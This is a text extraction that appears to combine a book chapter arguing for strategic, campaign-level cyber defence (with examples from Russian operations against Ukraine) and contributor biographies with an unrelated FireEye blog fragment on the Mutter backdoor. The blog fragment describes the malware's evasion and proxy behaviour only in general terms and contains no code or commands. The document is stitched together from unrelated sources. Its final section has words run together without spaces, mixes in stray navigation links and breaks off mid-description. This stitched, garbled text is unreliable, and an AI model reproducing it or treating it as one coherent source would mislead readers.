Practice Makes Perfect: Making Cyber Hygiene Part of Your Security Program, CSO Magazine, 3 March 2014, http://www.csoonline.com/article/2891689/security0/practice-makes-perfect-making-cyber-hygiene-part-of-your-security- program.html.
8 United States Department of the Army, Field Manual 100-5: Operations (Washington, DC: US Army 1982), http://cgsc.con- tentdm.oclc.org/cdm/compoundobject/collection/p4013coll9/id/48/rec/10.
162 In this chapter, the author argues that decision-makers need to better understand the role of technology in strategic thought, and so it adds a new level below the tacti- cal layer: tools.
Certainly in physical warfare one uses tools to inflict kinetic dam- age.
In the digital world, the model explicitly introduces tools in order to show practitioners where they fit in strategic thinking.
Too many digital security professionals believe tools are the sole focus of defensive action.
By placing tools at the bottom of the model, they appear, in the authors opinion, in their proper place.
Furthermore, in this model, the term campaign is included at the operational level.
Campaigns and operations are sometimes interchanged, so both appear to reduce confusion.
These five levels are depicted in Figure 1-1.
Policies and goals are broad state- ments by organisational leadership that describe the desired purpose of the stra- tegic programme.
Strategies are concepts for employing organisational resources to accomplish the stated policies and goals.
Operations (which in this schema are organised into campaigns) are sets of activities designed to implement strategies that are pursued over days, weeks, months, or even years.
Tactics are actions taken within individual encounters with an adversary, and serve as the atomic elements of a campaign.
Tools are the digital equipment with which an actor implements tactics.
Policies and Goals Strategies Operations (including Campaigns) Tactics Tools Figure 1-1 Strategic Thought, Adapted for Digital Conflict Too many digital secu- rity professionals believe tools are the sole focus of defensive action.
163 All of these elements must be connected in order to achieve successful outcomes.
Before explaining how these five levels can improve digital defence, it is important to recognise that I am not advocating the militarisation of cyberspace which is a valid concern of many analysts.
For example, in 2013, Jason Healey wrote in Foreign Affairs that the military had prioritised one national security goal more spying and attack capabilities above all others.9 A Forbes journalist defined the prob- lem as giv[ing] a military character to it, equip[ping] [it] with military forces and defences or adapt[ing] [it] for military use,10 This author, while generally disagree- ing with these premises, does not equate strategic thought with militarisation.
The purpose of this chapter on strategic thought is to familiarise defenders with another strategy to protect information, one suited to the timescales and interactive nature of modern computer intrusions.
4 Traditional Security within the Strategic Model Squaring traditional security concepts with the strategic model contributes to a rich discussion of digital defence.
Typically, network defenders concentrate on tools and tactics, which are in turn dominated by the notions of security software, software security, and securing software.
Security software consists of programs written by vendors, open source developers, and individual security teams that are designed to detect, frustrate, and remove adversaries.
Software security refers to the process of writing computer programs that are free from coding, process, and logic flaws, optimally using a process such as the Building Security In Maturity Model (BSIM- M).11 Securing software is a process to enable the cyber hygiene model, whereby defenders take various tactical steps to reduce the likelihood of compromise.
Beyond the security team, one finds multiple layers of management, including a chief security or information security officer (CSO or CISO), one or more chief technology or information officers (CTO or CIO), other members of the so-called C-suite including the chief financial or operating officers (CFO, COO), and ulti- mately the chief executive officer (CEO) and board of directors.
At the nation-state level, some governments have appointed cyber security coordinators reporting to the head of government.
Recent examples include the United States, the United Kingdom, Germany, Russia, Japan, and France.12 In China, President Xi Jinping personally leads the countrys top information security group.13 One would think 9 Jason Healey.
How Emperor Alexander Militarized American Cyberspace, Foreign Policy, 6 November 2013, http://foreign- policy.com/2013/11/06/how-emperor-alexander-militarized-american-cyberspace/.
10 Sean Lawson.
Is the United States Militarizing Cyberspace?
Forbes, 2 November 2012, http://www.forbes.com/sites/seanlaw- son/2012/11/02/is-the-united-states-militarizing-cyberspace/.
11 BSIMM, https://www.bsimm.com/.
12 French Ministry of Foreign Affairs and International Development, France and cyber security, http://www.diplomatie.gouv.
fr/en/french-foreign-policy/defence-security/cyber-security/.
13 Shannon Tiezzi.
Xi Jinping Leads Chinas New Internet Security Group, The Diplomat, 28 February 2014, http://thediplomat.
com/2014/02/xi-jinping-leads-chinas-new-internet-security-group/.
164 that, with so much focus on cyber and information security at the upper levels of management, defence strategies would be clear.
However, despite numerous recent high-profile breaches, security leaders continue to fret that their organisations busi- ness leadership didnt provide them the support and space they need to secure their organisations properly.14 Improving the dynamics of strategic thought according to the proven military model can help organisations and nation states move beyond a tools and tactics focused approach.
The latter is by far the prevailing paradigm.
For example, one 2014 RSA Conference presentation encouraged attendees to exploit pet projects and capitalise on timely events by using the near-death experiences of others to justify security spend.15 One 2015 article written for security managers stressed the need for more capable software, stating that a CISO must successfully address many challenging elements when procuring a new security technology solution.16 In 2014, Symantecs Senior Vice President for Information Security said that only 45 of cyber attacks are prevented by anti-virus software, calling it a dead tech- nology.17 Writing secure software, while a laudable goal, continues to be difficult, even for leading companies like Microsoft.
Bill Gates accelerated the programme to find a secure development lifecycle in 2002, but the vendor continues to release patches for remote code execution vulnerabilities in core Microsoft platforms on a monthly basis.
In brief, we need more than tools and tactics to counter digital adversaries.
When trying to learn how to communicate with higher level managers and CISOs, agency leads, and policy-makers are bombarded with advice like the fol- lowing: One of the most strategic skills a security chief can bring is the profi- ciency in translating security speak into the language of business risks and financial ROI [return on investment] terms... At the board level, the ability to show dollar return on security initiatives is critical to ensure continued executive support on security investments.18 The problem with the focus on tools and tactics, and related topics of risk and ROI is that higher-level management and boards do not feel connected to the true defensive posture of their organisation.
Because leaders have not been valued parts of the security program development process, they think security is mainly an issue to be solved by technical professionals.
Their experience with the IT and security 14 George V. Hulme.
The CSOs failure to lead, CSO Magazine, 9 June 2014, http://www.csoonline.com/article/2360984/securi- ty-leadership/the-cso-s-failure-to-lead.html.
15 John B. Dickson.
Getting Your Security Budget Approved without FUD, RSA Conference 2014, http://www.rsaconference.
com/writable/presentations/file_upload/ciso-w04a-getting-your-security-budget-approved-without-fud.pdf.
16 Craig Shumard.
CISOs Face Tough Challenges When Procuring Security Technologies, Tenable Network Security, 5 March 2015, http://www.tenable.com/blog/cisos-face-tough-challenges-when-procuring-security-technologies.
17 Danny Yadron.
Symantec Develops New Attack on Cyberhacking, Wall Street Journal, 4 May 2014, http://www.wsj.com/ articles/SB10001424052702303417104579542140235850578.
18 Danelle Au.
Getting the CISO a Seat, Security Week, 16 July 2012, http://www.securityweek.com/getting-ciso-seat.
165 worlds has led them to approach security as an issue of approving budgets to pur- chase ever-more-costly security software.
The Christian Science Monitor reported the following in February 2015: In a survey commissioned by defence contractor Raytheon of 1,006 chief information officers, chief information security officers, and other technology executives, 78 percent said their boards had not been briefed even once on their organisations cybersecurity strategy over the past 12 months ...
The findings are similar to those reported by Pricewaterhouse- Coopers in its Global State of Information Security Survey last year in which fewer that 42 percent of respondents said their board actively par- ticipates in overall security strategy.19 In light of these challenges, this chapter advocates making boards and higher-level managers integral aspects of the security process, by way of strategic thought.
5 Cyber Security without Strategy The following scenario will help the reader understand how the application of stra- tegic cyber security principles can better protect digital assets.
A private organisa- tion suffers targeted attacks by both criminal and nation-state threat groups, which not only compromise the organisation but also steal intellectual property including trade secrets, sensitive commercial data, and other digital resources.
The traditional tools-and-tactics security model is characterised by suboptimal communication and poor alignment between the management, board, and security team.
The latter, led by the CISO, is determined to counter the adversary.
Their first instinct will be to take some concrete action: to hire new personnel, to develop a new capability, to adopt a new tactic, or to purchase a new software tool.
Next, they will attempt to translate their plan into business speak, and the CISO will develop an argument based on an ROI estimate that includes the cost of the initiative, the amount of money it should save (if all goes well), and a mathematical calculation of the overall risk to the enterprise.
If asked by the CEO or board to explain his or her rationale, the CISO will reply that a tools-and-tactics approach will save the enterprise money and reduce its level of risk.
Finally, the management will give the proposal a green light, or send the CISO back to the drawing board.
19 Jaikumar Vijayan.
After high-profile hacks, many companies still nonchalant about cybersecurity, Christian Science Mon- itor, 19 February 2015, http://www.csmonitor.com/World/Passcode/2015/0219/After-high-profile-hacks-many-compa- nies-still-nonchalant-about-cybersecurity.
This chapter advocates mak- ing boards and higher-level managers integral aspects of the security process.
166 This budget request cycle is repeated ad nauseam, until management gets wise to the fact that network security ROI seems to have an Alice-in-Wonderland quality about it: the more money they spend, the more money they are supposed to save.
Eventually, management realises that security is a lot more about loss prevention than revenue generation, and they begin to feel disconnected (and disaffected) from the defence of their digital resources.
Further, they recognise that their organisation is one of many whose boards are not briefed on real strategy, and who have in fact never participated in serious strategy formulation.
6 Strategic Cyber Security A strategic cyber security programme, by contrast, does not begin with tools and tactics, but with an articulation of one or more programme goals.
First, the strate- gy-minded CISO gets executive buy-in to those goals.
To that end, the CISO must incorporate all levels of strategic thought, starting with the board and CEO every- one must feel ownership and participation.
The smart CISO recognises that security is a journey, not a destination, and that relationship building requires an ability to translate between technical and non-technical vocabularies.
The CISO ensures that the programme goals accurately govern the objectives of the enterprises digital security programme.
In our scenario, the CISO, board, and CEO all agree that, with respect to intellectual property, trade secrets, and sensitive data, the new policy goal is to minimise loss due to intrusion.
This statement implies that everyone understands that stopping all adversaries and all attacks is simply not possible, especially when dealing with nation-state actors and some advanced criminal groups.
The primary objective of this exercise is to achieve consensus on a simply stated, non-technical programme goal.
No in-depth technical discussion is needed to achieve consensus, although the CISO must ensure that all goals, policies, and strategies are technically feasible.
With a mandate in hand, the CISO can confi- dently work with his or her security team to plan the necessary operations and cam- paigns and, if necessary, acquire new tools and tactics to facilitate them.
Together, they decide to implement a network security monitoring (NSM) operation, defined as the collection and escalation of indications and warnings to detect and respond to intruders.20 The security team begins the long-term, strategic process of hunting for hostile cyber attack campaigns, encom- passing both known and unknown intrusion patterns.
20 Richard Bejtlich.
The Practice of Network Security Monitoring (San Francisco, CA: No Starch 2013).
The primary objective is to achieve consensus on a simply stated, non-technical programme goal.
167 The CISO, board, and CEO all agree that a second programme goal is the rapid detection, response, and containment of cyber threats.
This goal helps to ensure that when intruders breach the perimeter defences, the game is far from over.
Defenders can still win, so long as they contain the threat before the attacker can accomplish his or her ultimate mission.
Therefore, the security team will develop strategies to identify compromises quickly, determine their nature, give them some level of attribution, and above all develop a plan to stop the attacker from accomplishing his or her mission.
At the tactical level of individual engagements with the adversary the equiva- lent of battles in war the security team will have myriad decisions to make, includ- ing whether to dislodge the intruder immediately or whether to watch the intruder for a time in order to collect valuable intelligence.
Some tactics govern how specific tools or techniques can be used, such as when Star Trek personnel switch their hand phasers between stun and kill.
As always, the adversary gets a say in what happens, but from the enterprises point of view, programme goals, policies, and guidelines should be written to govern this entire process.
7 The Relevance of Campaigns Central to the concept, and success, of a strategic security program is the campaign, which functions at the operational level.
In some sense, the maturity of a security programme can be derived from the attention shown by the CISO and his or her security team to campaign development, and the understanding of campaign prog- ress and analysis by top management.
Consider the following quote from a Febru- ary 2015 Reuters report on defence contractor Lockheed Martin: [Chief Executive Officer Marillyn] Hewson told the companys annual media day that Lockheed had faced 50 coordinated, sophisticated cam- paign attacks by hackers in 2014 alone, and she expected those threats to continue growing.21 When Ms. Hewson spoke in terms of campaigns, she showed that her security team thinks and works at an advanced level.
It is likely that Lockheed also aligns campaigns with specific threat actors and motives.
Speaking about specific campaigns and ranking them in terms of sophistication and impact permits a vastly more meaningful discus- sion with other executives, the board, and other stakeholders.
The CEO should be able to speak in detail about the threat actors behind the campaigns, including their means and motives, as well as illustrative examples of each campaign and how the security team detected and responded to them.
The term campaign also matches well with non-tech- nology business operations such as marketing campaigns and sales campaigns.
21 Andrea Shalal.
Lockheed sees double-digit growth in cyber business, Reuters, 18 February 2015, http://www.reuters.com/ article/2015/02/19/us-lockheed-cybersecurity-idUSKBN0LN03K20150219.
168 Contrast this approach with a recent briefing by Japans National Institute of Information and Communications Technology, which appeared in the Japan Times: The number of computer attacks on government and other organisations detected in Japan doubled in 2014 from the previous year to a record 25.66 billion, a government agency said Tuesday.22 Discussing individual attacks has limited value, as discrete incidents include everything from a suspicious TCP packet, to an odd computer port, dubious SQL query, or phishy email.
On the other hand, how can anyone devise a credible pro- gramme goal to counter over 25 billion attacks?
The sweet spot lies in the middle, in grouping the primary threats and threat actors into coherent and logical campaigns.
This is the best way for the enterprise or a nation state to counter an interactive and adaptive adversary.
8 Strategic Cyber Defence in Ukraine The government of Ukraine, which has tense relations with Russia and is embroiled in an ongoing war, is likely the target for many ongoing cyber attack campaigns.
This author advises that the only way to counter an offensive campaign is with an equally determined defensive campaign.
In April 2015, the security com- pany Looking Glass exposed Operation Armageddon, which it described as a cyber espionage campaign (active since 2013) designed to provide a military advantage to Russia by targeting Ukrainian government, law enforcement, and military officials for information of intelli- gence value.
The researchers found a direct correlation between digital attacks and the ongoing war, including an alarming blend of cyber espionage, physi- cal warfare, and geopolitics.23 Recent reports by security companies Trend Micro and FireEye describe other Russian campaigns, assigned the monikers Operation Pawn Storm and APT28, respectively.24 According to FireEye, APT28 appeared to target individuals affiliated with European security organisations, including the North Atlantic Treaty Organisation (NATO) and the Organisation for Secu- 22 Cyberattacks detected in Japan doubled to 25.7 billion in 2014, Japan Times, 17 February 2015, http://www.japantimes.co.jp/ news/2015/02/17/national/crime-legal/cyberattacks-detected-in-japan-doubled-to-25-7-billion-in-2014/.
23 Looking Glass Security, Operation Armageddon: Cyber Espionage as a Strategic Component of Russian Modern Warfare (Bump- as, VA: Looking Glass Security Corporation 2015) https://lgscout.com/wp-content/uploads/2015/04/Operation_Armaged- don_FINAL.pdf.
24 Loucif Kharouni, et al, Operation Pawn Storm: Using Decoys to Evade Detection (Trend Micro Incorporated: Irving, TX 2015) http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf and APT28 https://www.fireeye.com/resources/pdfs/apt28.pdf.
The only way to counter an offensive campaign is with an equally determined defensive campaign.
169 rity and Cooperation in Europe (OSCE) which the Russian Government has long cited as existential threats.25 Similarly, Russian non-government groups such as CyberBerkut have been active against NATO and Ukrainian targets.26 In March 2014, the group directed Distrib- uted Denial of Service (DDoS) attacks against NATOs main website, the CCD COE website, and NATOs Parliamentary Assembly website.27 In October 2014, on the eve of parliamentary elections in Ukraine, the website of the countrys Central Elec- tion Commission suffered DDoS attacks.28 The group has apparently also targeted US military contractors working in Ukraine, stealing and publishing documents about the movement of Western military equipment to Ukraine.29 Nation state security requirements are strategic in nature, and they do not fre- quently change.
For what is seen to be a valid national security concern, states will devote enormous human and technological resources to achieve their objectives, and use a variety of methods and attack vectors.
Neither does a state give up after one or even a hundred unsuccessful tactical engagements.
Rather, it will adapt, and usually overcome defences eventually.
The key factor that sets nation states apart from individuals and even hacker groups like Anonymous is persistence, and the ability to maintain persistence indefinitely.
Actors such as Russia also qualify as highly advanced.
Here is the authors work- ing definition, published in 2009: Advanced means the adversary can operate in the full spectrum of computer intrusion.
They can use the most pedestrian publicly available exploit against a well-known vulnerability, or they can elevate their game to research new vul- nerabilities and develop custom exploits, depending on the targets posture.30 Recognising that any nation-state in this case Russia has the capability to adapt and overcome is one reason why threat attribution is so important, at all levels of strategic thought.31 This means that any time the security team recognises a failed intrusion attempt as coming from an advanced persistent threat actor, they can be sure the foe will return with a new technique and perhaps even a new campaign.
25 Ibid.
26 Berkut is Ukrainian for special police force, although CyberBerkut is a pro-Russian group.
27 Ukrainian CyberBerkut takes down NATO websites, RT, 16 March 2014, http://www.rt.com/news/nato-websites-ddos- ukraine-146/.
28 Vitaly Shevchenko.
Ukraine conflict: Hackers take sides in virtual war, BBC News, 20 December 2014, http://www.bbc.com/ news/world-europe-30453069.
29 Jack Smith IV, Pro-Russian Hackers Expose U.S. Military Contractor Activity in Ukraine, Observer, 2 March 2015, http:// observer.com/2015/03/pro-russian-hackers-expose-u-s-military-contractor-activity-in-ukraine/.
30 Richard Bejtlich.
What APT Is, Information Security Magazine, July 2010, http://www.academia.edu/6842130/What_APT_Is.
31 Richard Bejtlich.
Five Reasons Attribution Matters, TaoSecurity Blog, 30 December 2014, http://taosecurity.blogspot.
com/2014/12/five-reasons-attribution-matters.html.
9 Conclusion The Ukrainian Government currently finds itself at a tactical disadvantage vis--vis Russia, both on the traditional field of battle and in cyberspace.
However, cyber security, especially at the national level, is a strategic game, and Kyiv can make smart investments that will pay off over the long run.
This chapter has argued for the need to apply strategic thought to digital defence.
It began by advocating the utility of a mili- tary model in cyberspace, albeit without any desire for the militarisation of cyberspace.
The author explained how the military mind set, based on conflict with dynamic, adaptive adversaries, is a more reliable strategy than the popular cyber hygiene model.
It then described the five levels of strategic thought, which link goals with policy, strategy, campaigns and operations, tactics, and tools.
The author applied each level of strategic thought to a hypothetical network defence scenario.
By inte- grating strategic thought into digital defence, this chapter demonstrated an alterna- tive to technology-centric approaches that are not sufficient to defeat the adversary.
In a time of war, Ukraine is a natural target for many cyber threat actors and campaigns.
The only way to counter them is to develop an equally determined defensive posture in cyber space.
Cyber security, especially at the national level, is a strategic game.
171 Authors Richard Bejtlich is FireEyes Chief Security Strategist previously, he was Mandi- ants Chief Security Officer.
Richard is a nonresident senior fellow at the Brookings Institution, and an advisor to Threat Stack, Sqrrl, and Critical Stack.
He is pursu- ing a Master/Doctor of Philosophy in War Studies at Kings College London.
He was Director of Incident Response for General Electric, where he built and led the 40-member GE Computer Incident Response Team (GE-CIRT).
Richard served in the Air Force Computer Emergency Response Team (AFCERT), Air Force Infor- mation Warfare Center (AFIWC), and Air Intelligence Agency (AIA).
He is a grad- uate of Harvard University and the United States Air Force Academy.
His widely followed blog is at taosecurity.blogspot.com, and his fourth book is The Practice of Network Security Monitoring.
Michelle Cantos is the Cybersecurity Program Coordinator for Columbia Universi- tys Saltzman Institute of War and Peace Studies.
Michelle is a graduate of Columbias School of International and Public Affairs, where she studied international security policy with a focus on cyber defense.
In the spring of 2015, she participated in The Atlantic Councils Cyber 9/12 Student Challenge, where her team competed against twenty teams and earned second place in the policy challenge.
She has worked as a cybersecurity intern for the American Foreign Policy Council, and was a research assistant for Dr. Abraham Wagner.
Kenneth Geers (PhD, CISSP) is a NATO CCD COE Ambassador, a Non-Resi- dent Senior Fellow at the Atlantic Council, and a Visiting Professor at the Taras Shevchenko National University of Kyiv in Ukraine.
Dr. Geers spent twenty years in the U.S. Government (U.S. Army, NSA, NCIS, NATO), and was a Senior Global Threat Analyst at FireEye.
He is the author of Strategic Cyber Security, Editor of Cyber War in Perspective: Russian Aggression against Ukraine, Editor of The Virtual Battlefield: Perspectives on Cyber Warfare, Technical Expert for the Tallinn Man- ual on the International Law Applicable to Cyber Warfare, and author of more than twenty articles and chapters on international conflict in cyberspace.
172 Keir Giles is an Associate Fellow of Chatham Houses International Security Depart- ment and Russia and Eurasia Programme.
He also works with the Conflict Studies Research Centre (CSRC), a group of subject matter experts in Eurasian security.
After acquiring a wide range of experience in other fields in Europe and the former Soviet Union, Keir originally joined CSRC at the UK Defence Academy (UKDA) as a special- ist in human factors influencing Russian military, defence and security issues.
Keir now oversees the research and publications programme of the new, independent CSRC, while continuing to write and publish there and for Chatham House on his own spe- cialist area of Russian approaches to conventional, cyber, and information warfare.
Jason Healey is a Senior Research Scholar at Columbia Universitys School for International and Public Affairs, specializing in cyber conflict, competition, and cooperation.
He was the founding director of the Cyber Statecraft Initiative at the Atlantic Council, where he remains a Senior Fellow.
Jason is the author of doz- ens of published articles and editor of the first history of conflict in cyberspace, A Fierce Domain: Cyber Conflict, 1986 to 2012.
During his time in the White House, he was a director for cyber policy and helped advise the President and coordinate US efforts to secure US cyberspace and critical infrastructure.
He has also been an executive director at Goldman Sachs in Hong Kong and New York, vice chair- man of the FS-ISAC, and a US Air Force intelligence officer at the Pentagon and National Security Agency.
Jason was a founding member (plankowner) of the first cyber command in the world, the Joint Task Force for Computer Network Defense, in 1998.
He is president of the Cyber Conflict Studies Association.
Margarita Levin Jaitner researches Information Warfare in cyberspace within the Russia Project at the Swedish Defence University.
Currently, she focuses on the Rus- sian concept of information superiority.
Margarita holds an MA degree in Societal Risk Management from Karlstad University and a BA in Political Science from the Swedish National Defence College.
Nadiya Kostyuk is a doctoral student in a joint program of Political Science and Public Policy at the University of Michigan.
Prior to her studies, Nadiya worked as a Program Coordinator for the EastWest Institutes Global Cooperation in Cyber- space Initiative, where she now serves as a Fellow.
Nadiyas research interest is the relationship between cybercrime and international security, interdependence, cooperation, and state sovereignty.
Currently, Nadiya is working on a project to map the relationship between kinetic and cyber operations in Eastern Ukraine.
Nikolay Koval is CEO of CyS Centrum LLC, in Kyiv, Ukraine.
A graduate of the Kyiv Polytechnic Institute, Nikolay served at the State Service of Special Communi- cation and Information Protection of Ukraine.
He was responsible for the organiza- tion and coordination of Ukraines computer emergency response team (CERT-UA) 173 activities, including incident handling, technical analysis, and international engage- ment.
His new company specializes in cyber threat prevention.
Elina Lange-Ionatamishvili is a Senior Expert at the NATO Strategic Communi- cations Centre of Excellence (NATO StratCom COE) in Riga, Latvia, where she has analyzed Russias ongoing information campaign against Ukraine.
Previously, Elina was head of the Public Diplomacy Division at the Ministry of Defence of Latvia (2007-2009), worked on public diplomacy projects under the NATO Riga Summit Task Force (2006), managed the NATO Professional Development Programme in Georgia, and helped to found the international NGO Baltic to Black Sea Alliance, which has addressed media freedom and professionalism in EU Eastern Partner- ship countries.
Elina has been awarded by the Latvian Minister of Defence, and received the Order of Honour from the President of Georgia.
James Andrew Lewis is a Senior Fellow at the Center for Strategic and Interna- tional Studies, directs the CSIS Technology Program, and previously worked at the Departments of State and Commerce as a Foreign Service Officer and member of the Senior Executive Service.
Lewis helped to develop the initial policies to secure and commercialize the Internet, led the U.S. delegation to the Wassenaar Arrange- ment Experts Group, and was Rapporteur for the UN Group of Government Experts on Information Security during their successful 2010, 2013, and 2015 sessions.
Jim has authored numerous CSIS publications, and was Director for the Commission on Cybersecurity for the 44th Presidency, the best-selling report whose contributions to U.S. policy have been publicly recognized by the President.
His current research examines sovereignty on the Internet, cybersecurity norms, warfare, and technolog- ical innovation.
Lewis received his Ph.D. from the University of Chicago.
Martin Libicki (Ph.D., U.C.
Berkeley 1978) has been a distinguished visiting professor at the U.S.
Naval Academy and a senior management scientist at RAND since 1998, focusing on the impacts of information technology on domestic and national secu- rity.
He wrote two commercially published books, Conquest in Cyberspace: National Security and Information Warfare, and Information Technology Standards: Quest for the Common Byte, as well as numerous RAND monographs, notably Brandishing Cyberat- tack Capabilities, Crisis and Escalation in Cyberspace, Global Demographic Change and its Implications for Military Power, and Cyber-Deterrence and Cyber-War.
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He co-au- thored How Insurgencies End and How Terrorist Groups End.
Martin is currently writ- ing a textbook (due out in Spring 2016) from which a Cyberwar class can be taught.
Jarno Limnll is a Professor of Cybersecurity at Aalto University in Finland, and the Vice President of Cybersecurity at Insta Group plc.
Professor Limnll has been working with security issues for over 20 years.
He holds a Doctor of Military Sci- ence degree in Strategy from the National Defense University in Finland a Master 174 of Social Science degree from Helsinki University and an Officers degree from the National Defense University.
Limnll served many years as an officer in the Finnish Defense Forces, and has worked as a Director of Cybersecurity at McAfee.
His most recent book is Cybersecurity for Decision Makers.
Tim Maurer is the Director of the Global Cybersecurity Norms and Resilience Proj- ect, and Head of Research at New Americas Cybersecurity Initiative.
He is part of New Americas Future of War project and serves as a member of the Research Advisory Network of the Global Commission on Internet Governance, the Freedom Online Coalitions cybersecurity working group An Internet Free and Secure, and was co-chair of the Advisory Board for the Global Conference on Cyberspace.
He holds a Master in Public Policy concentrating on international and global affairs from the Harvard Kennedy School.
Glib Pakharenko (CISA, CISSP) is an IT security specialist, board member for the OWASP and ISACA Kyiv chapters, forum moderator, and the conference organizer for the largest information security community of Ukraine, the Ukrainian Informa- tion Security Group.
Glib has over 10 years of IT security experience in financial, telecom, media, and other industries.
He actively supports the reform and modern- ization of Ukrainian national cyber security policies, and reviews technical and IT security translations into the Ukrainian language.
Liisa Past is a NATO CCD COE adviser and spokesperson, with academic inter- ests in political communication, argumentation, and discourse analysis.
Educated at Columbia University, the University of Oslo, and Tartu University, Liisa has taught at numerous institutions of higher education, and worked with companies, organi- zations, and a political party on strategic communication and public relations.
As an activist, she has contributed to human rights causes and has worked with the Inter- national Debate Education Association, Estonian Debating Society, and Baltimore Urban Debate League.
Henry Rigas is a researcher in the Law and Policy Branch at NATO CCD COE, studying policy matters such as state interest in global cyber diplomacy, interna- tional norm development, the role of international organisations, and the cyber security posture of small states.
He is the Project Manager of the Ukraine case study book and the Centres INCYDER (International Cyber Developments Review) data- base.
Henry holds a Masters degree in International Relations from the University of Tartu.
Jan Stinissen is a military lawyer in the Netherlands Army with the rank of Lieu- tenant Colonel.
He served as a military lawyer for more than 20 years in different positions in The Netherlands and in Germany.
He was deployed as a Legal Advisor with NATO missions abroad.
Most recently, Lt Col Stinissen worked as a Researcher with the Law and Policy Branch at the NATO CCD COE in Tallinn, Estonia.
He holds a Master in Law degree from the University of Utrecht, The Netherlands.
Sanda Svetoka is a Senior Expert at the NATO Strategic Communications Centre of Excellence (NATO StratCom COE) in Riga, Latvia, where she is the project leader for StratComs study on how social media are used as a weapon in hybrid warfare.
From 2004-2005, she worked as a news reporter at the Latvian information agency LETA.
In 2005, she joined the Latvian Ministry of Defence, where she coordinated Latvian cooperation with NATO partner countries.
In 2010-2011, Ms Svetoka was Public Relations Advisor to the NATO Advisory Team in Kosovo.
From 2011-2014, she served as a Press Officer at the Military Public Relations Department of the Latvian Ministry of Defence.
Ms Svetoka holds an MA in Political Science from the University of Latvia.
Jen Weedon is a strategic threat intelligence analyst and cyber risk management consultant at FireEye.
Jen played a key role in building out Mandiants intelligence team and contributed to Mandiants landmark APT1 report, linking a long-running cyber espionage effort to a Chinese military unit.
She worked on the cyber espio- nage and hacktivist portfolios at iSIGHT Partners.
Prior to that, Jen analyzed and briefed policymakers on Russias intents and motivations in cyberspace for the U.S. defense community.
She is a graduate of the Fletcher School of Law and Diplomacy (2008) and Smith College (2002), was awarded a Fulbright Fellowship in Ukraine (2002-2003), and is an inaugural fellow for Foreign Policy Interrupted (2015).
Professor James J. Wirtz is Dean, School of International Graduate Studies at the U.S.
Naval Postgraduate School in Monterey, California.
He is editor of the Palgrave Macmillan series, Initiatives in Strategic Studies: Issues and Policies, and a past pres- ident of the International Security and Arms Control Section of the American Polit- ical Science Association.
In 2005, he was a Visiting Professor at the Center for Inter- national Security and Cooperation, Stanford University.
Between 2009 and 2014 he served as the Director of the Global Center for Security Cooperation, Defense Security Cooperation Agency.
His work on intelligence, deterrence, the Vietnam War, and military innovation and strategy has been widely published in academic journals.
Professor Wirtz is a graduate of Columbia University (MPhil 1987, PhD 1989), the University of Delaware (MA 1983, BA 1980), and was a John M. Olin Pre-Doctoral Fellow at the Center for International Affairs, Harvard University.
OLE_LINK1 OLE_LINK2
4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 1/12 THE MUTTER BACKDOOR: OPERATION BEEBUS WITH NEW TARGETS April17,2013byJamesT.BennettThreatResearch,AdvancedMalware,TargetedAttack FireEyeLabshasobservedaseriesofrelatedattacksagainstadozenorganizationsintheaerospace,defense,and telecommunicationsindustriesaswellasgovernmentagencieslocatedintheUnitedStatesandIndiawhichhave beenoccurringatleastasearlyasDecemberof2011.Inatleastonecase,adecoydocumentincludedintheattack containedcontentthatfocusedonPakistanmilitaryadvancementsinunmannedvehicle,ordronetechnology.
Technically,theseattacksexploitedpreviouslydiscoveredvulnerabilitiesviadocumentfilesdeliveredbyemailin ordertoplantapreviouslyunknownbackdoorontovictimsystems.
Themalwareusedintheseattacksemploysa numberofinterestingtechniquestohideinplainsightandtoevadedynamicmalwareanalysissystems.
Similarto, thoughnotbasedontheattackswesawinSouthKorea,themalwaretriestostayinactiveaslongaspossibleto evadedynamicanalysisdetectionmethods.
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Home FireEye Blogs Threat Research Blog The Mutter Backdoor: Operation Beebus with New Tar...
Menu Customer Stories Blogs https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/cap-james-t-bennett https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-threat-research https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-threat-research/threat-research/malware-research https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-threat-research/threat-research/targeted-attack https://www.fireeye.com/blog/threat-research/2013/02/operation-beebus.html https://www.fireeye.com/index.html https://www.fireeye.com/blog.html https://www.fireeye.com/blog/threat-research.html https://www.fireeye.com/customers.html https://www.fireeye.com/blog.html https://www.fireeye.com/index.html 4/10/2016 The Mutter Backdoor: Operation Beebus with New Targets Threat Research Blog FireEye Inc https://www.fireeye.com/blog/threat-research/2013/04/the-mutter-backdoor-operation-beebus-with-new-targets.html 2/12 OneisanarticleaboutPakistansindigenousUAVindustrywhichisattributedtoauthorAditiMalhotra,anIndian writerandAssociateFellowattheCentreforLandWarfareStudies(CLAWS)inNewDelhi.
Althoughwearenotsure thisparticularworkisactuallyhers,wedidfindareferencetoasimilarlynamedarticlePakistansUAVprogramme: Ambitious,withsomefriendlyhelp.
Unfortunately,thisdocumentwasnotavailable.
Otherworksofhersonasimilar noteincludeIndiasSilenceonChineseIncursionsandChinaandPakistan:DangerousLiaisons.
TheotherdecoydocumentiscontactinfoforanAmericanwithamilitaryprovidedemailaddressfromJointBase AndrewsinMaryland,butwithaphysicaladdressinPakistantitledFamilyPlanningAssociationofBase(FPAB).It looksliketheytooktheFamilyPlanningAssociationofBangladeshandcombineditwithJointBaseAndrews.
The titleoftheemailfieldisFPAPEmail,FPAPcouldstandforFamilyPlanningAssociationofPakistan.
Ultimately, wecouldmakenosensefromthisinformation.
THE MUTTER BACKDOOR Twodifferentversionsofthesamebackdoorwereusedinalloftheseattacks.
Ineverycasewehavefound,the maincomponentisaDLLdroppedbyanexecutablecompiledminutesaftertheDLL.Thedroppersharesthesame decodingfunctionsastheDLLandperformssomemodificationsontheDLLthatwillbedescribedlater.
Therewas oneuniquecasewefoundwheretheinitialdropperwasaselfextractingarchivethatutilizesVisualBasicandbatch scriptstodownloadandinstalltheDLLinsteadofextractingitfromaresource.
MutterisHTTPproxyaware,andattemptstodetermineifaproxyisrequiredandwhattheproxydetailsareif necessary.
Itusesgoogle.co.intoperformsuchtests.
